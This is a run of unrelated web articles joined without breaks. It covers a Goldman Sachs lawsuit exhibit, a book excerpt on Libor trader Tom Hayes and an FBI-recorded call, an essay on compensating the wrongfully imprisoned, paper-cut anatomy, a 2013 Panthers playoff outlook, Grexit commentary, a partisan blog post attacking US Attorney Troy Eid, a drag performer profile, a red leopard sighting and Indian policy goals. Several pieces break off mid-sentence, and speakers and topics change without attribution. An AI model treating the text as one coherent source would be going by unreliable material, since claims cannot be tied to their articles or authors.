Here, the plaintiff’s motion refers to an “exhibit 96,” which refers to “an email from [Goldman executive] John Masterson that sends nonpublic data concerning customer short positions in Overstock and four other hard-to-borrow stocks to Maverick Capital, a large hedge fund that sells stocks short.”
Was Goldman really disclosing “nonpublic data concerning customer short positions” to its big hedge fund clients? That would be something its smaller, “Muppet” customers would probably want to hear about.
When I contacted Goldman and asked if it was true that Masterson had shared nonpublic customer information with a big hedge fund client, their spokesperson Michael Duvally offered this explanation:
Among other services it provides, Securities Lending at Goldman provides market color information to clients regarding various activity in the securities lending marketplace on a security specific or sector specific basis. In accordance with the group's guidelines concerning the provision of market color, Mr. Masterson provided a client with certain aggregate information regarding short balances in certain securities. The information did not contain reference to any particular clients' short positions.
You can draw your own conclusions from that answer, but it's safe to say we'd like to hear more about these practices.
Anyway, the document is full of other interesting disclosures. Among the more compelling is the specter of executives from numerous companies admitting openly to |
’t been helping matters. He didn’t seem especially concerned with her discomfort. Instead he was preoccupied with his favorite British soccer team, Queen’s Park Rangers, and his firing months earlier from Citigroup, which had accused him of trying to manipulate an important interest rate called Libor.
Rebuffed by several other banks where he’d sought jobs, Mr. Hayes was slowly coming to terms with the fact that his career as a wildly successful trader had come to an end. More troubling, he’d heard rumors that governments were investigating his conduct.
As a midwife moved an ultrasound wand over Ms. Tighe’s growing midsection, Mr. Hayes’s cellphone rang. The call was from a number—and country code—that he didn’t recognize. Anxiously lying on an examination table, Ms. Tighe told her husband to ignore the call.
Mr. Hayes stood up, walked out of the room and answered the phone.
Tom Hayes in July 2013 Photo: Euan Cherry/UPPA/ZUMA PRESS
The authorities were hunting for bankers to hold accountable for the industry’s many sins, and Mr. Hayes was blundering into an elaborate trap, cementing his status as their top target.
A couple of weeks earlier, on March 11, a violent earthquake had rumbled up from more than 15 miles beneath the surface of the ocean off Japan’s northeastern coast. It shook buildings all over the country, but the worst damage came from the sea. The shifting underwater plates unleashed a tsunami of biblical proportions, with a wall of water 30 feet high bulldozing Japan’s coastal prefectures. Thousands of people would perish.
In Tokyo, Mirhat Alykulov felt the quake and its aftershocks and then watched, awe-struck, as news reports showed the extent of the damage caused by the tsunami. He decided it was time to get out of town. He packed his bags and, without telling anyone, got on a plane to Washington.
Like Mr. Hayes, Mr. Alykulov was in trouble. He had grown up on a chicken farm in Kazakhstan, learned English while in high school in Pennsylvania, gone to college in Tokyo and then, finally, landed a job as a junior trader in the Tokyo office of Swiss bank UBS.
His co-workers had given him the nickname “Derka Derka” because of his hard-to-place accent and Eurasian looks. It derived from a refrain in the deliberately offensive 2004 movie “Team America: World Police.” The “Team America” puppets depicting Middle Eastern terrorists used the phrase “Derka derka Muhammad jihad” instead of speaking actual Arabic. “Ha ha, that’s great,” his boss said when he learned of the nickname.
Mr. Alykulov and Mr. Hayes sat next to each other in UBS’s Tokyo offices, where Mr. Hayes had a reputation as an elite, combustible and obsession-prone trader. (Each day, Mr. Hayes entered the building through a lucky turnstile, often wearing lucky bumblebee socks and toting a lucky keychain.)
Mr. Hayes soon became the younger man’s mentor, teaching Mr. Alykulov the tricks of the trade. Mr. Alykulov did his best to overlook Mr. Hayes’s social awkwardness, which garnered him the nicknames “Rain Man” and “Kid Asperger.” Once, at a dinner party, Mr. Hayes told Mr. Alykulov’s girlfriend all about his dandruff problem; she later sent Mr. Alykulov to work with a bottle of special shampoo to present to Mr. Hayes.
Despite Mr. Hayes’s propensity to explode at colleagues, Mr. Alykulov recognized that he was a brilliant trader. Mr. Hayes, not the best at reading interpersonal cues, concluded that he and Mr. Alykulov were pals.
Mr. Hayes jumped to Citigroup in 2009. After Citigroup fired him the following year, UBS opened an internal investigation into Mr. Hayes’s activities when he worked there. The Swiss bank uncovered evidence of a widespread campaign by Mr. Hayes, Mr. Alykulov and many others—including their managers and some executives—to skew the London interbank offered rate, or Libor. The scheme was designed to increase the profits that the traders reaped from instruments known as interest-rate derivatives whose values were based on Libor.
UBS shared its findings with governments all over the world, which then launched civil and criminal investigations. Before long, authorities in the U.S. had zeroed in on Mr. Hayes as the apparent ringleader.
UBS suspended Mr. Alykulov, although he was still getting paid—that way, the bank could ensure that he and others in similar situations would cooperate with the American officials who were leading the investigations. But his career prospects were in doubt. It was a jarring, embarrassing turn for someone who not long ago had thought he had a bright future as a trader.
After a few glum days lamenting his suspension, Mr. Alykulov started trying to figure out what to do with his life. He decided to learn another language. He set off for a monthslong trip to Spain, keeping in close touch all the while with Nate Muyskens, the tall Washington trial lawyer with a buzzcut whom UBS had hired to represent him. Mr. Muyskens told him that he was eventually going to need to come to Washington to meet with FBI agents and Justice Department prosecutors.
Mr. Alykulov returned to Japan in time for the earthquake—and then left Tokyo in such a blur that he forgot to pack a suit. On the car ride into Washington from Dulles International Airport, Mr. Alykulov stopped at a department store and dropped $500 on a new outfit so that he could look presentable when he showed up at the Justice Department. He charged the suit to UBS—the trip was on behalf of his employer, after all.
By the time he arrived in downtown Washington, Mr. Alykulov had worked himself into a lather. He was convinced that this trip would culminate with him in a jail cell. The easygoing Mr. Muyskens, whose clients ranged from bank traders to Justin Bieber, told him to chill: All that he had to do was cooperate, he explained, and the Justice Department would promise not to prosecute him.
But Mr. Alykulov wasn’t wild about that idea. He knew Mr. Hayes by now was one of the main targets. Mr. Alykulov didn’t much like Mr. Hayes, but he knew his former boss regarded him as a friend. The thought of knifing someone in that situation made Mr. Alykulov a little queasy. Plus, he was genuinely fond of Mr. Hayes’s wife.
When the time came for their appointment at the Justice Department’s Bond Building, Mr. Muyskens had to physically push Mr. Alykulov out the door to walk the few blocks down New York Avenue. When he got there, Mr. Alykulov seemed to have trouble explaining what he’d actually done wrong.
Gradually, though, he overcame his compunctions, telling himself that he had an obligation to UBS and its thousands of employees to help resolve this mess. He spent dozens of hours serving as a much-needed Sherpa for the prosecutors and FBI agents.
Mr. Hayes, Mr. Alykulov told the government investigators, had orchestrated the whole thing. What about current UBS employees and executives? Mr. Alykulov played down their involvement. Mr. Hayes, he made clear, was the mastermind.
As Mr. Muyskens had promised, Mr. Alykulov was granted a nonprosecution agreement that stated that Justice wouldn’t go after him as long as he cooperated fully. All he had to do was help to get the investigators closer to Mr. Hayes.
The FBI agents tried to convince Mr. Alykulov that they hadn’t been able to track down Mr. Hayes’s phone number. Mr. Alykulov would be doing everyone a big favor, they said, by reaching out to his former boss over Facebook to establish contact. The sooner the investigators got in touch with Mr. Hayes, the better it would be for him.
Mr. Alykulov typed out a Facebook message: “We need to talk.” He wrote that the Justice Department wanted to speak with him and that he wanted to get Mr. Hayes’s advice on what to do. Mr. Hayes still hadn’t spoken to any regulators, and he was eager for any scraps of information he could pick up about the course of the U.S. investigations. He sent Mr. Alykulov his cellphone number.
Tom Hayes and his wife arrived at court on Aug. 3, 2015. Photo: Peter Nicholls/Reuters
A couple of days later, the call came during Ms. Tighe’s pregnancy scan. Mr. Alykulov said that he was phoning from Kazakhstan, and FBI agents had devised an elaborate system to make it look like the call was coming from Mr. Alykulov’s native country—hence the long, strange phone number on Mr. Hayes’s screen.
Audio of the call was being recorded and piped live into a room at the Bond Building, where prosecutors and FBI agents sat around a conference table listening. They had prepared a list of questions for Mr. Alykulov to ask Mr. Hayes. The goal was to get him to acknowledge that what he’d been doing was wrong or to make some other sort of incriminating statement—perhaps encouraging Mr. Alykulov to lie or destroy evidence.
Mr. Alykulov—trying to fight back a debilitating sense of anxiety and betrayal and to contain his surging adrenaline—started the call by repeating what he’d said in the Facebook message: Justice wanted to schedule an interview.
“Should I talk to them? What should I tell them?”
“The U.S. Department of Justice, mate, you know, they’re like…the dudes who, you know…put people in jail,” Mr. Hayes answered. “Why the hell would you want to talk to them?”
Ms. Tighe finished her ultrasound. She walked into the prenatal wing’s waiting room, its walls covered with posters featuring cherubic babies and signs barring phone calls. Mr. Hayes was pacing and talking on his cell. Ms. Tighe could tell from his expression—his whole face was screwed up in a confused, agitated look—that something strange was going on.
Mr. Alykulov had just mentioned that he had printed out emails in which Mr. Hayes had asked his subordinate to help move Libor. “What should I do with them?” he asked.
“Why are you printing emails?” Mr. Hayes asked, furrowing his brow. Ms. Tighe started listening carefully to his end of the conversation. They were clearly talking about Libor and the Justice Department. She motioned for him to get off the phone; when that failed, she whispered, urgently, for him to tell Mr. Alykulov not to destroy evidence or to lie. One thing she had learned about Mr. Hayes during their four years together was that if you wanted him to do something, you needed to tell him in direct, unequivocal terms. Subtleties and shades of gray were lost on him. If this was a setup, she didn’t want her naive husband stumbling right into it.
Mr. Hayes complied, then asked Mr. Alykulov whether the Justice Department wanted to talk to him as well as to Mr. Alykulov. Mr. Alykulov said he didn’t know. Mr. Hayes, growing apprehensive about Mr. Alykulov’s carefully worded queries and nervous tone, asked whether he was recording the call.
“I did this, too,” Mr. Alykulov said, referring to his efforts to get Libor moved in favorable directions. “Why would I record it?”
With Mr. Hayes still on the phone, Ms. Tighe took an elevator downstairs to collect the test results that would show whether the fetus was at risk of Down syndrome. She couldn’t believe that she was going through this alone. The results showed virtually no risk of the syndrome. Angry despite the good news, she rode the elevator back up and found Mr. Hayes still on the phone. He was in the process of telling Mr. Alykulov to just blame his managers.
“That’s what I’m going to do,” Mr. Hayes said.
At the Bond Building, FBI agents thought that Mr. Hayes’s suggestion that Mr. Alykulov shouldn’t talk to the investigators might be enough for an obstruction-of-justice charge. A couple of days later, however, they decided to take another shot, hoping for cleaner evidence.
Mr. Hayes was finishing up lunch at the Cuckfield pub in East London with his stepbrother, who worked at a nearby hospital, when his phone rang. The Cuckfield, housed in a 19th-century stone inn, had a beer garden in the back, and Mr. Hayes stood there in the early-afternoon sunshine.
Mr. Alykulov started in with what struck him as a series of leading questions: “Should I tell them about your friend at RBS?” Mr. Hayes had a contact, Brent Davies, who used to work at Royal Bank of Scotland and whose help Mr. Hayes had sought in moving Libor.
Mr. Hayes left Westminster Magistrates Court on June 20, 2013. Photo: Neil Hall/Reuters
“Brent? What’s he got to do with it?” Mr. Hayes asked.
“Should I tell them about your friend at Deutsche?” That was a Deutsche Bank trader named Guillaume Adolph.
“Well, I wouldn’t mention it,” Mr. Hayes said, “but if they ask, you should tell them.” In any case, he added, everything was done in writing, so it wasn’t much of a secret.
The phone call ended. Mr. Hayes and Mr. Alykulov would never speak again.
This piece is adapted from Mr. Enrich’s new book, “The Spider Network: The Wild Story of a Math Genius, a Gang of Backstabbing Bankers, and One of the Greatest Scams in Financial History,” to be published on March 21 by HarperCollins.The Chicago Tribune has an interesting article on the difficulties facing people who have served prison time for crimes they did not commit. In some cases, it takes years for them to get their convictions annulled, even if the evidence of innocence is strong. In the meantime, their criminal records make it difficult to find housing and employment.
Basic justice suggests that wrongfully imprisoned innocent people should also be compensated for their suffering. Monetary compensation cannot fully repair the damage inflicted by years of unjust imprisonment. But it is a lot better than nothing. Unfortunately, 21 states provide no compensation at all in such cases. They include generally liberal states such as Hawaii, Minnesota, and Rhode Island, as well as conservative ones such as Alaska, Arkansas, and South Carolina. Many of the states that do provide compensation give very little. For example, Wisconsin law caps the total amount of compensation at $25,000, including attorney’s fees, no matter how long the unjustly convicted person has been imprisoned. New Hampshire limits total compensation to $20,000. Few Americans would be willing to spend even one year in prison in exchange for $20,000. There can be legitimate disagreement over exactly how to calculate the right amount. But the compensation provided to the wrongly imprisoned should at least be somewhere in the same ballpark as the actual harm they suffered.
The case for adequate compensation is particularly strong in cases where innocent people were imprisoned because of misconduct by law enforcement officials. In one of the cases described in the Chicago Tribune article, officials apparently went ahead with a prosecution for murder despite the fact that police records indicated that defendant was actually in police custody at the time the crime was committed. If this is true, it is a serious case of official misconduct.
But compensation is also morally required even in cases where innocent people were convicted and punished despite the fact that officials acted in good faith. Some number of innocent people will be convicted in even the best possible criminal justice system. Even the most ethical and competent police, prosecutors, judges, and juries will occasionally make unavoidable errors. When such mistakes are discovered, it is unjust to force wrongly imprisoned innocents to bear the full cost of the error. If these mistakes are unavoidable byproducts of a justice system intended to benefit all of society, then their costs should be paid by society as a whole rather than arbitrarily imposed on a few unlucky individuals.
The Fifth Amendment’s Just Compensation Clause, which requires the government to compensate people whose property is taken for “public use,” provides a helpful analogy. Even if the government acted in good faith and has a perfectly valid reason for taking your land – such as building essential infrastructure – they still have to compensate you for your loss. As the Supreme Court famously put it in Armstrong v. United States (1960), “[t]he Fifth Amendment’s guarantee that private property shall not be taken for a public use without just compensation was designed to bar Government from forcing some people alone to bear public burdens which, in all fairness and justice, should be borne by the public as a whole.” What is true of takings of property is also true of wrongful loss of personal liberty. Indeed, the latter type of harm is usually even more painful to the victim.
To be completely clear, I am not claiming that the Just Compensation Clause requires compensation payments for the wrongfully imprisoned innocent. The text only applies to “property,” not personal freedom. But the moral principle involved is similar. Whether or not the Constitution requires it, government should compensate innocent people who have been imprisoned for crimes they did not commit.Paper seems completely harmless, but anybody who has refilled a photocopier or thumbed too quickly through a book knows that this humble material harbours a deep, dark secret. Deployed properly, it can be a serious weapon: paper cuts are just the worst.
There isn’t a whole lot of scientific research effort directed at understanding the pain of paper cuts, probably because nobody would sign up for a randomised, controlled study that involved a researcher intentionally inflicting this kind of torture on study participants. But according to Dr. Hayley Goldbach, a resident physician in dermatology at UCLA, “we can use our knowledge of human anatomy to help us out here. It’s all a question of anatomy”.
It’s all to do with nerve endings. To start with, there are lots more pain receptors embedded in your fingertips than almost anywhere else in your body. Though Goldbach is quick to point out, “it would probably also hurt a lot if you got a paper cut on your face or in your genitals, if you can imagine that.” So while a paper cut on your arm, or thigh, or ankle might still be annoying, it would probably be more trivial than the intense fiery quality that finger-based paper cuts tend to have.
You can actually prove this to yourself by employing a test that psychologists and neurologists use. Take a paperclip and unfold it so that both ends are pointing in the same direction. If you use it to poke yourself on your hands or face, you can probably perceive each of the clip’s two pointy ends individually. This is what’s referred to as “two point discrimination,” and because you have so many nerve endings in the skin in those parts of your body, the two points have to get really close to each other before you’re unable to tell them apart.
But now try the same thing on your back, or your legs. Chances are the two points would have to be really far apart before you’re able to tell them apart. That’s because the distribution of nerve endings there is far less dense.
The extreme pain felt when something injures your fingers is simply the result of evolution working as it should
This actually makes a good deal of evolutionary sense. “Fingertips are how we explore the world, how we do small delicate tasks,” explains Goldbach. “So it makes sense that we have a lot of nerve endings there. It’s kind of a safety mechanism.”
It’s reasonable that your brain would devote more neural real estate to continuously monitoring possible threats to your hands, since they’re the main vehicles the body has for interacting with the world. If you come into contact with something extremely hot, for example, or sharp, it’s just more likely that you would interact with it using your hands. So the extreme pain felt when something injures your fingers is simply the result of evolution working as it should, providing a little extra encouragement for you to keep those hands safe.
And then there’s the weapon itself. Do a quick Google search and you might become convinced that due to its porous nature, paper is home to a bacterial menagerie, just waiting to colonise your paper-inflicted wounds. But whether or not that’s true, the presence of bacteria and other microscopic beasties can’t explain the sensation of pain, at least not at the moment of cutting. Bacteria can lead to infections if wounds are left untreated, which themselves can be painful, but that takes a bit of time.
But there is something to the idea that paper is a uniquely painful weapon.
To the naked eye, it might seem as if a paper's edge is fairly straight and smooth. But if you were to zoom in, you’d find that paper is more akin to a saw than to a blade. So when a paper cuts open your skin, it leaves behind a chaotic path of destruction rather than a smooth laceration. It rips, tears, and shreds your skin, rather than making clean slice, as a razor or knife blade would do.
And if that wasn’t enough, paper cuts are typically shallow – but not too shallow. “They’re deep enough to get past the top layer of the skin, otherwise they wouldn’t hurt. The top layer of skin has no nerve endings,” says Goldbach.
The nerves that the paper revealed when it tore apart your skin continue to be exposed to the outside world
But they don’t slice that deep into your body, which is perhaps why it’s puzzling that they should hurt so much. But it’s exactly for this reason that paper cuts are such a menace. A deeper wound would result in bleeding. The blood would clot and a scab would develop, beneath which the skin could go about healing free from the continued assault of the outside world. But the shallow wound of a paper cut doesn't offer such protection. Unless you take care to cover it up with a bandage and perhaps some antibiotic ointment, the nerves that the paper revealed when it tore apart your skin continue to be exposed to the outside world, and that only makes them angrier.
Without the cushion of blood, pain receptors are left exposed to the elements, and unless you quickly bandage your paper cut, those neurons will keep on sending the alarm bell, warning your brain of impending disaster. That, after all, is their job.
At least, that’s the idea. Nobody has ever proven that this is the case, but Goldbach agrees that it’s a reasonable hypothesis.
Unfortunately, each of us is going to face the prospect of enduring a few paper cuts as we go about our lives. Luckily, the common saying is probably wrong. A thousand paper cuts would really really hurt, but it probably wouldn’t kill you.
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With their Week 8 win over the Tampa Bay Buccaneers, the Panthers moved above.500 for the first time since 2008. Perennial preseason conversations since the arrival of quarterback Cam Newton have centered on playoff hopes, but as is typically the case with talk in August, those discussions always turned out to be unrealistic hype.
Seven games into this season, however, Carolina is two games behind the NFC South-leading New Orleans Saints and a half-game behind the Detroit Lions for the second wild-card spot in the conference. There are still nine games to play in the regular season—an eternity in the NFL—but with the Panthers winning three straight and four of their last five, it’s impossible not to buy into this new hype.
For the first time in a long while, the playoff hype is real and warranted.
The Carolina defense ranks second in the NFL, giving up just 13.7 points per game. The unit is third overall in total yards allowed (301.4), second in rushing yards allowed (79.3) and 10th in yards allowed through the air (222.1). The Panthers are stout, even dangerous, when their defense is on the field.
It’s the offense, however, that has sparked the playoff conversation.
While the Panthers currently average 24.3 points per game, good for 12th in the NFL, they’ve scored at least 30 points in each of their last three wins and notched a season-high 38 points in their Week 3 win over the New York Giants.
Carolina’s per-game scoring average is being dragged down by two losses where the team failed to reach double digits—a Week 1 loss to the Seattle Seahawks by the score of 12-7 and a Week 5 loss to the Arizona Cardinals, 22-6.
Over the last three games, the Panthers rank fourth in the league with a 32 points per game average. Most teams that rank within the top five in both scoring offense and defense do well and tend to make the playoffs.
But it’s going to take more than rankings for the Panthers to enter the postseason party. This team is going to have to navigate through a minefield of a remaining schedule that features three games against current division leaders, a game against last year's Super Bowl runner-up and two contests against a fierce rival in the down-but-still-fighting Atlanta Falcons.
Carolina Panthers: Remaining 2013 Schedule Team Record vs. Atlanta Falcons 2-5 at San Francisco 49ers 6-2 vs. New England Patriots 6-2 at Miami Dolphins 4-4 vs. Tampa Bay Buccaneers 0-7 at New Orleans Saints 6-1 vs. New York Jets 3-4 vs. New Orleans Saints 6-1 at Atlanta Falcons 2-5 ESPN
And even though it’s entirely unfair to knock any of the Panthers’ four wins, it is true that none of them have come against a team that is considered a powerhouse.
When the 2013 NFL schedule was announced, Carolina had the toughest road to the playoffs—a slate that featured 16 teams with a combined 2012 record of 138-116-2, per NFL.com.
Reality doesn’t always follow plans on paper, though, as the Panthers haven’t had too tough of a trek thus far.
Carolina’s win over the Giants pushed New York to 0-3, and the hapless G-men now sit at 2-6. Also, the Panthers’ current three-game winning streak has come against the Minnesota Vikings, the St. Louis Rams and the Tampa Bay Buccaneers, teams currently combining for a 4-18 record.
None of Carolina’s wins have come against teams that thrive on defense, and none of their four victims rank near the top of the league in points allowed, as they have all been giving up an average of at least 23 points per game.
Examining Carolina's 4 Wins Team Record Points/Game Allowed NFL Rank New York Giants 2-6 27.9 28th Minnesota Vikings 1-6 32.1 30th St. Louis Rams 3-5 24.8 21st Tampa Bay Buccaneers 0-7 23.3 19th ESPN
However, the months of November and December bring utterly different opponents.
After Carolina hosts Atlanta in Week 9, it must travel to San Francisco to face the 49ers, and then they will host the New England Patriots in Week 11. The 49ers and Patriots bring the two best defenses Carolina will have faced to date.
The 49ers rank seventh in the league and give up just 18.1 points per game. The Patriots are a little better and only give up 18 points each time out, which is tied for fifth in the NFL. This three-week stretch will set the tone for Carolina’s potential playoff run. If they win at least two of these games and put points on the scoreboard against stout defenses, the doubters will fade away.
Weeks 14 and 16 bring a similar task but with much greater implications, as Carolina will face the Saints in both of these weeks. The Saints feature an attacking style of defense that Rob Ryan has turned into a weapon. New Orleans gives up just 17.1 points per game (fourth in the NFL) and will be the toughest defense on Carolina’s remaining schedule.
There’s more to these two contests than just the "tough defense" story line, however. The Panthers currently sit two games behind the Saints for the NFC South lead. If both teams stay on the same course, Carolina could steal the division crown from New Orleans by sweeping these two games.
Forget about fighting every NFC non-division winner for a wild-card spot; the Panthers would slide into the playoffs with an automatic bid if they can defeat their division rival.
But the playoffs will come only if the Panthers continue winning football games at the rate they’ve been going over the past five games. To do that, they’ll have to succeed against much stiffer competition.
Unless otherwise noted, all quotes and statements were obtained firsthand.
Knox Bardeen is the NFC South lead writer for Bleacher Report and the author of “100 Things Falcons Fans Should Know & Do Before they Die.” Be sure to follow Knox on Twitter.Some are calling the "deal", which is in reality just a framework for further discussions, that Greece achieved over the weekend a "Pyrrhic defeat." That is certainly one way of looking at things, however an even more accurate assessment of events in the past 48 hours is that this is the moment the "genie was out of the bottle" and the Euro was finally seen as reversible, what ultimately happens to Greece and its soon to be 200%+ debt/GDP notwithstanding.
Here is Sky News' Ed Conway with one of the more accurate summaries of this weekend's epic fiasco:
However this story ends (and we have no idea what the next few hours will bring), Sunday 12 July will go down as a landmark moment in European history?—?alongside Rome in 1957, Maastricht in 1992 and Cannes in 2011.
For the first time, the leaders of the 19-member euro area officially discussed plans for the departure of one of their members. According to the draft proposals handed by the eurogroup (the finance ministers) to their leaders for their overnight meeting, among the clauses to be debated was one worded as follows:
In case no agreement could be reached, Greece should be offered swift negotiations on a time-out from the euro area, with possible debt restructuring.
It is difficult to overstate the significance of this. For its entire life, the euro was conceived as a currency from which there could be no exit. This was not accidental: the disasters that befell the Exchange Rate Mechanism in the early 1990s convinced European leaders that the only way to create a lasting single currency was never, ever, to countenance anyone leaving it. The euro was “irreversible”, to use the word Mario Draghi has frequently used.
Except, tonight in Brussels it transpired that it is far from irreversible. That euro finance ministers are now actively discussing giving Greece a “time-out” from the currency.
Now, one should insert a major note of caution at this stage. The clause quoted above was not agreed by all the euro members here in Brussels. It was put into square brackets, meaning it is yet to be agreed by all member states. It may well be excised by the time the leaders have honed the draft document away to produce their final statement.
Nonetheless, it was on the table. And that means that to some extent, the genie is now out of the bottle. Brussels is officially discussing how to engineer Greece’s departure. The euro is not irreversible. Clearly, they will not do “whatever it takes” to keep it together.
The big question now?—?beyond whether there actually is a Grexit?—?is how markets react. After all, since the euro is now no longer an irreversible currency but a collection of nations tied into a currency from which they could, indeed, leave?—?in other words, a fixed exchange rate system?—?do markets begin making bets about that happening? Do they ask questions about Spain, or Italy, too?
Even on top of the specific Greek issues (and the scale of compromises they may be forced to seek) this is a big moment for Europe and its leaders. They have taken a step into the unknown.It seems there may be a reason federal law-enforcement officials are not interested in pursuing serious charges against the white-supremacist tweakers who were caught this week in Denver: The man making the decision is a Republican operative. And when it came to a threat against John McCain by a black man, he had a completely different approach.
The AP story describing the official pooh-poohing of the threat gives us a clue:
"We’re absolutely confident there is no credible threat to the candidate, the Democratic National Convention, or the people of Colorado," U.S. Attorney Troy Eid said in a statement.
A \’serious threat\’
But when a black man in prison sent John McCain a threatening letter containing baby powder, it was another story altogether:
The man accused of sending a threatening letter to John McCain through McCain’s Colorado headquarters office detailed the contents of his letter in an exclusive interview with 7NEWS Friday. Marc Ramsey, an inmate in the Arapahoe County Jail, admitted that he sent the letter.On Friday afternoon, the US AttorneyTroy Eid announced Ramsey will be charged with knowingly threatening to harm or kill through the U.S. mail. The charge is punishable up to five years in federal prison and up to $250,000 fines. "We won’t stand for threats of this kind in Colorado," Eid said. "A death threat is not a legitimate form of political expression," Eid said.
Hmmmm. Let’s see: Men with rifles, a caches of other guns and ammo, all talking about killing Obama … they’re not a "serious threat." But a man in jail sending baby powder, well, that’s a "serious threat."
So, who is Troy Eid?
Looks like Colorado needs to create another pair of binoculars (or a microscope) to look into the political agenda of US Attorney Troy Eid. The veil of secrecy has been lifted and it turns out that Eid’s appointment may have had much less to do with competency as a prosecutor than his reliability as a partisan political operative in the eyes of Karl Rove (with the almost certain glowing endorsement of Rove’s "mini-me" Dick Wadhams). Today’s Rocky Mountain News report, Allard: Nominee’s rejection ‘strange’ Link fills in a picture of the Rove machine rejecting Allard’s firm endorsement of William Leone to stay in the job. He was a veteran prosecutor who had earned Allard’s praise as "…an effective federal prosecutor." Eid feigns ignorance as to why he was selected by the Rove – Harriett Miers justice as political theater team. But, that doesn’t hold water under the degrees of separation test. Connecting the dots between Eid, Wadhams and Rove provides a "well, duh!" explanation.
Of course, this is the same administration that has ascertained that eco-terrorists who set houses on fire are the most serious domestic-terror threat facing us … while abortion-clinic bombers and racist-right thugs have fallen off the radar.
[H/t to cinnamonape.]After a controversial edit or two appeared in Map Maker alongside an uptick in spam, Google decided to halt user submissions while it figured out a way to deal with things. Now the company is starting to open Map Maker back up to users. It's doing so gradually. The first phase announced includes the countries of Bangladesh, Brazil, Canada, India, Philippines, and Ukraine.
Previously Google automatically approved most submissions. A Googler would then review edits manually, especially if community members brought something to the company's attention. The hope was that users would police themselves.
Rather than develop new systems or allocate more employees, Google is increasing its reliance on the community to solve the problem. It's now selecting mappers in each country to serve as Regional Leads that have the ability to moderate edits people make in their areas. Employees will check in less often as the company takes a more hands off approach.
Be on the lookout for users to regain access to Map Maker throughout more countries in future phases.The performer, who goes by the stage name Hungry (and who prefers female pronouns when referring to her drag persona), is the creation of a 24-year-old Berliner, Johannes Jaruraak. Over the past year, Hungry’s fame has grown, from a modest social media presence and devoted local followings in Berlin and London to international performances, high-profile editorial makeup assignments and 171,000 Instagram followers.
She is known for looks that showcase a manipulated anatomy: dropped eyes, foreshortened noses, lips airbrushed to appear ephemeral. A designer with couture experience, Mr. Jaruraak sews each constricting costume himself. On the October Saturday that she performed in Gowanus, Hungry wore two looks. She arrived in a sea-punk blue construction complete with moth-shaped fabric nose piece and fitted cap, and changed into a pale peach shell for her performance.
Hungry wasn’t the only attendee whose look invoked the post-human. Be Cute, a monthly drag night hosted by the Brooklyn-based queen Matty Mendoza, known as Horrorchata, bills itself as “a Dance Party for Homos and Aliens from Outer Space that like to shake it on the dance floor.” Amid the crowd, a lethal-looking goth kept company with a queen wearing angular makeup who defined her look as “darkness in a dream that you don’t want to leave.” Others wore arachnid-looking headpieces or unnaturally hued contact lenses.
Horrorchata, who is a founder of Bushwig, an annual alternative drag festival, said: “I would say in the last three years, a lot of people are going toward the creative side of drag. It used to be all about glamour and pageant and stuff like that, and now it’s like, it’s cool to be punk rock.”Microwave Magma: a lava flow of liquid Pyrex A guy who repairs microwave ovens once told me that an oven burned a hole through a Pyrex measuring cup. The cup had boiled dry, and apparently the microwave wattage then attacked the glass. Yet glass is mostly transparent to microwaves, so it shouldn't heat up. WTF?!!
Play Video
Then I remembered a little trick that physics teachers perform. First they connect a glass rod to 120VAC cables. Then they heat the glass rod with a blow torch until it becomes red hot between the electrical connections. Glass is full of sodium or boron ions (charged atoms,) and glass becomes a conductor when softened. The ion charges become unlocked and movable. As it's heated with the torch, the red hot glass suddenly draws significant current from the electric outlet, |
an F- for failing to reduce “unnecessary worker visas.”
In his Senate speech, Flake said politicians like him have a “narrower and narrower path to nomination in the Republican Party” because of Trump’s malign influence on conservatism.
As Flake’s 30 percent approval rating in Arizona suggests, ardently pro-immigration Republicans may face more opprobrium from contemporary GOP voters than they have in the past. But Flake’s 15-year voting record shows a lawmaker out of touch with the Republican base on the immigration question long before Trump became the party’s standard-bearer.
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African leopards normally have tawny coats with black spots. But a male leopard with a strawberry-colored coat has been spotted in South Africa's Madikwe Game Reserve (map), conservationists announced this week.
Tourists in the reserve had occasionally seen the unusual animal. But it wasn't until recently that photographer and safari guide Deon De Villiers sent a photograph to experts at Panthera, a U.S.-based wild cat-conservation group, to ask them about the leopard's odd coloration.
(See more African leopard pictures in National Geographic magazine.)
Panthera President Luke Hunter suspects the pale leopard has erythrism, a little-understood genetic condition that's thought to cause either an overproduction of red pigments or an underproduction of dark pigments.
"It's really rare—I don't know of another credible example in leopards," said Hunter, whose group collaborates with National Geographic's Big Cats Initiative. (The Society owns National Geographic News.)
Hunter added, "it's surprising that [a photo of the leopard] didn't come out sooner, because he's relatively used to vehicles."
Strawberry Leopard Still Successful
Erythrism is very unusual in carnivores, and the condition appears most often in raccoons, Eurasian badgers, and coyotes, Hunter noted.
"There are some spotted leopard skins and melanistic specimens—black panthers—in museums with red undertones, but fading probably contributes to that," he said.
Melanism is an unusual development of black or nearly black color in an animal's skin, fur, or plumage. (See video: "Mutant All-Black Penguin Found.")
The strawberry leopard seems healthy and likely suffers no ill consequences from his pinkish hue, Hunter said: "He's obviously a successful animal."
For instance, the leopard's coat still offers him some camouflage—leopards rely on their spotted fur to sneak up on prey and ambush them from as close as 13 feet (4 meters) away. (See big-cat pictures.)
More worrisome for the strawberry leopard are the game farms that surround the Madikwe reserve, Hunter said.
If the animal were to leave the reserve, he'd lose the strict protection offered by Madikwe and become fair game for legal trophy hunting, Hunter said.Lacking the soothsaying powers of so many folks, and having seen how much disruption and destruction one 8pm speech can wreak, it is impossible for me to look 10 years into the future. Instead, here are 10 things that I hope we’ll have achieved 10 years from now.
Economy
First, a change in the composition of the gross domestic product (GDP) in favour of things that are useful to us (food, healthcare, education, etc.) and against things that do not help ordinary people (e.g. military products and “financial services" that are essentially gambling). Better still, maybe national accounting systems will evolve so that GDP records polluting and destructive activities negatively.
Second, two major direct tax reforms. One, an increase in India’s income-tax base, stuck at 2-3% since the 1980s, to 15% of the population, higher than other Brics countries (Brazil, Russia, India, China and South Africa)—in Brazil, China and South Africa, the figure already stands at around 7-8%. Two, the emergence of wealth and inheritance taxes as a significant source of revenue.
Third, greater transparency in the tax code, leading to a reduction in sops to industry. For several years, tax revenue foregone has been very high (e.g. around Rs6 trillion last year). What are these exemptions, and who benefits from them?
Fourth, one indirect tax reform: stiff taxes on cars and car users (by making car loans expensive and raising registration fees, fuel and congestion charges, parking fees). Those who park private cars on public roads will be seen as a public nuisance, not the street vendors and the homeless, as tends to happen (wrongly).
Fifth, the proposed tax reforms will enable the creation of a robust welfare state (with good health and education facilities) that will enable the realization of the first goal.
Media
